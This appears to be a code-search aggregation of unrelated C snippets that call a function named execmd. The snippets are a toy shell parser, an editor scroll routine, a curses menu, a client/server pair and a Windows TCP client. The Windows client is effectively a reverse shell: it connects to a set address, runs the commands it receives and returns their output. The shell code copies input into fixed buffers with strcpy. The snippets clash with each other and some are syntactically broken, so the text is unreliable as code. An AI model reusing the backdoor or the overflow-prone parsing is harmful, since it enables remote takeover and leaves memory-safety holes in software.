void multiplecmd(char input[],int amp) { char *token; char *token1; char p[256]; int stat = 0; memset(p,0,256); if(strstr(input,";")){ token = strtok(input,";"); printf("%s\n",token); if(fork() == 0){ execmd(token); } wait(&stat); if(token1= strtok(NULL,"")){ strcpy(p,token1); multiplecmd(token1,amp); } } else{ execmd(input); } }
void out_redirect(char input[]){ int fd; char *tok; char path[256]; char command[256]; memset(path,0,256); memset(command,0,256); tok=strtok(input,">"); strcpy(command,tok); tok = strtok(NULL," "); if(tok[0] == ' '){ strcpy(path,tok+1); } else{ strcpy(path,tok); } fd = open(path,O_WRONLY|O_CREAT); close(1); dup(fd); close(fd); execmd(command); }
void append_redirect(char input[]){ //printf("!1\n"); int fd; char *tok; char path[256]; char command[256]; memset(path,0,256); memset(command,0,256); tok=strtok(input,">"); //printf("!2%s\n",tok); strcpy(command,tok); tok = strtok(NULL,">"); //printf("!3%s\n",tok); if(tok[0] == ' '){ strcpy(path,tok+1); } else{ strcpy(path,tok); } //printf("!4%s\n",path); fd = open(path,O_RDWR|O_CREAT|O_APPEND); close(1); dup(fd); close(fd); execmd(command); }
void do_auto_scroll() { static CMD *scrup = 0; static CMD *scrdn = 0; static CMD *drag = 0; if (!scrup) { scrup = findcmd(USTR "upslide"); scrdn = findcmd(USTR "dnslide"); drag = findcmd(USTR "defmdrag"); } if (auto_scroll > 0) execmd(scrdn,0); else if (auto_scroll < 0) execmd(scrup,0); execmd(drag,0); reset_trig_time(); }
void parser(char input[],int amp) { if(fork() == 0){ if(strcmp(input,"history")== 0){ FILE *f; f=fopen("history.txt","r"); char tmp[256]; int hiscount= 1; while(fgets(tmp,256,f)!=NULL){ printf("%d: %s\n",hiscount,tmp); hiscount ++; } fclose(f); } if(strstr(input,";")){ multiplecmd(input,amp); } else if(strchr(input,'>') ||strstr(input,"<")){ if(strstr(input,">>")){ append_redirect(input); } else if(strstr(input,">!")){ owrite_redirect(input); } else if(strstr(input,"<")){ input_redirect(input); } else{ out_redirect(input); } } else if(strstr(input,"|")){ pipefunction(input,amp); } else{ execmd(input); } } if(amp == 0){ wait(&); } }
int main(int argc, char* argv[]) { // struct addrinfo* ailist; // struct addrinfo* aip; // struct addrinfo hint; int sockfd, err; if (argc != 2) err_quit("usage: alist hostname"); // hint.ai_flags = 0; // hint.ai_family = 0; // hint.ai_socktype = SOCK_STREAM; // hint.ai_protocol = 0; // hint.ai_addrlen = 0; // hint.ai_canonname = NULL; // hint.ai_addr = NULL; // hint.ai_next = NULL; // if ((err = getaddrinfo(argv[1], "ruptime", &hint, &ailist)) != 0) // err_quit("getaddrinfo error: %s", gai_strerror(err)); // for (aip = ailist; aip != NULL; aip = aip->ai_next) // { if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) err = errno; struct sockaddr_in servaddr; servaddr.sin_family = AF_INET; servaddr.sin_port = htons(6121); inet_pton(AF_INET, argv[1], &servaddr.sin_addr); connect(sockfd, (struct sockaddr*) &servaddr, sizeof(servaddr)); // if (connect_retry(sockfd, &servaddr, sizeof(servaddr)) < 0) // { // err = errno; // } // else // { // print_uptime(sockfd); execmd(sockfd); exit(0); // } // } fprintf(stderr, "can't connect to %s: %s\n", argv[1], strerror(err)); exit(0); }
void *proc_echo(void *cache){ int cnt; Parket buf={0}; int fd=((Cache *)cache)->fd; while(1){ cnt = read(fd,&buf,sizeof(Parket)); if(cnt == 0){ printf("client closed!\n"); break; }else if(cnt == -1){ if(errno==EINTR){ continue; }else{ break; } }else{ switch(buf.data_type){ case TYPE_REG: check_reg(cache,&buf); break; case TYPE_LOGIN: check_log(cache,&buf); break; case TYPE_HEART: server_heart(cache); break; case TYPE_CMD: execmd(&buf,cache); case TYPE_EXIT: check_exit(&buf,cache); break; default : break; } } } close(fd); return NULL; }
int main(int argc, char const *argv[]) { char s[BUFFSIZE] = { 0 }; char flag[5] = { 0 }; char cmd[BUFFSIZE]; char result[BUFFSIZE * 10]; WCHAR cmd_w[BUFFSIZE] = { 0 }; WSADATA wsaData; WSAStartup(MAKEWORD(2, 2), &wsaData); SOCKET sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); SOCKADDR_IN addrs; memset(&addrs, 0, sizeof(addrs)); addrs.sin_family = PF_INET; addrs.sin_addr.s_addr = inet_addr(IPADDR); addrs.sin_port = htons(PORT); connect(sock, (SOCKADDR*)&addrs, sizeof(SOCKADDR)); while (1) { ZeroMemory(cmd, sizeof(cmd)); ZeroMemory(s, sizeof(s)); ZeroMemory(result, sizeof(s)); recv(sock, s, BUFFSIZE, NULL); strncpy(flag, s, 3); strncpy(cmd, s + 3, strlen(s) - 3); printf("[+]flag: %s\n", flag); printf("[+]cmd: %s\n", cmd); if (!strcmp(flag, "001")) { MultiByteToWideChar(CP_ACP, 0, cmd, BUFFSIZE, cmd_w, BUFFSIZE * 2); execmd(cmd_w, result); send(sock, result, strlen(result)+sizeof(char), 0); puts(result); } } closesocket(sock); WSACleanup(); return 0; }
static char *runudm (char *scale) { /* user defined menu */ register key, cm; BOX *box, *curbox; box = VGetBox (menurow-2, menucol-4, nm+4, menuwid+8); VSetDim (); VStandOut (); VFillBox (menurow-2, menucol-4, nm+4, menuwid+8, ' '); VDrawBox (menurow-1, menucol-1, nm+2, menuwid+2); mvcaddstr (menurow-1, 40, " User Menu "); printudm (); VSetNormal (); VStandEnd (); cm = 0; for (;;) { curbox = VGetBox (menurow+cm, menucol, 1, menuwid); VPrintBox (curbox); hidecursor (); VSync (); key = KeyGet (); VUngetBox (curbox); VFreeBox (curbox); switch (key) { default: findmenu: if (key>0 && key<0200 && scale [key] < MENUSZ) { cm = scale [key]; break; } VBeep (); continue; case meta ('A'): key = 1; goto findmenu; case meta ('B'): key = 2; goto findmenu; case meta ('C'): key = 3; goto findmenu; case meta ('D'): key = 4; goto findmenu; case meta ('E'): key = 5; goto findmenu; case meta ('F'): key = 6; goto findmenu; case meta ('G'): key = 7; goto findmenu; case meta ('H'): key = 8; goto findmenu; case meta ('I'): key = 9; goto findmenu; case cntrl (']'): /* redraw screen */ VRedraw (); continue; case cntrl ('M'): case cntrl ('J'): break; case cntrl ('C'): case cntrl ('['): case meta ('J'): /* f0 */ cm = -1; break; case meta ('u'): /* up */ if (--cm < 0) cm = nm-1; continue; case meta ('d'): /* down */ if (++cm >= nm) cm = 0; continue; } break; } VUngetBox (box); VFreeBox (box); if (cm >= 0 && um[cm].cex) { if (um[cm].menu) return (um[cm].cex); /* execute command from menu */ expand (command, um[cm].cex, cur->cat[cur->curfile].name); cpos = strlen (command); if (command [0]) execmd (um[cm].wait, um[cm].hist); } return ((char *) 0); }